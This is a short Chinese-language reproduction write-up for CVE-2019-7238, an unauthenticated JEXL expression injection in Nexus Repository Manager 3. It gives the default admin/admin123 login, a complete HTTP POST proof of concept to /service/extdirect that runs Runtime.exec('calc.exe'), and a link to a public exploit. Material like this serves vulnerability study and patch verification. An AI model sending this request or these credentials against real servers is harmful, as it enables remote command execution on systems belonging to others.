0x00 漏洞背景
Nexus Repository Manager 3是一款軟件倉庫,可以用來存儲和分發Maven,NuGET等軟件源倉庫。其3.14.0及之前版本中,存在一處基於OrientDB自定義函數的任意JEXL表達式執行功能,而這處功能存在未授權訪問漏洞,將可以導致任意命令執行漏洞。2019年2月5日Sonatype發布安全公告,在Nexus Repository Manager 3中由於存在訪問控制措施的不足,未授權的用戶可以利用該缺陷構造特定的請求在服務器上執行Java代碼,從而達到遠程代碼執行的目的。
0x01 影響范圍
Nexus Repository Manager OSS/Pro 3.6.2 版本到 3.14.0 版本
0x02漏洞復現
- 未授權訪問+弱口令訪問
- jar包上傳
- Exploit
step1:未授權訪問+弱口令訪問
nexus默認端口為8081,且存在未授權訪問(3.15起關閉此功能),通過弱口令admin/admin123進入
step2:上傳jar包
而真實環境則不需要,因為真實環境已經上傳了assert
step3:Exploit
poc:
POST /service/extdirect HTTP/1.1
Host:127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Content-Type: application/json
Content-Length: 308
Connection: close
{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":25,"filter":[{"property":"repositoryName","value":"*"},{"property":"expression","value":"''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":4}
或者用有dalao寫好的exp:https://github.com/mpgn/CVE-2019-7238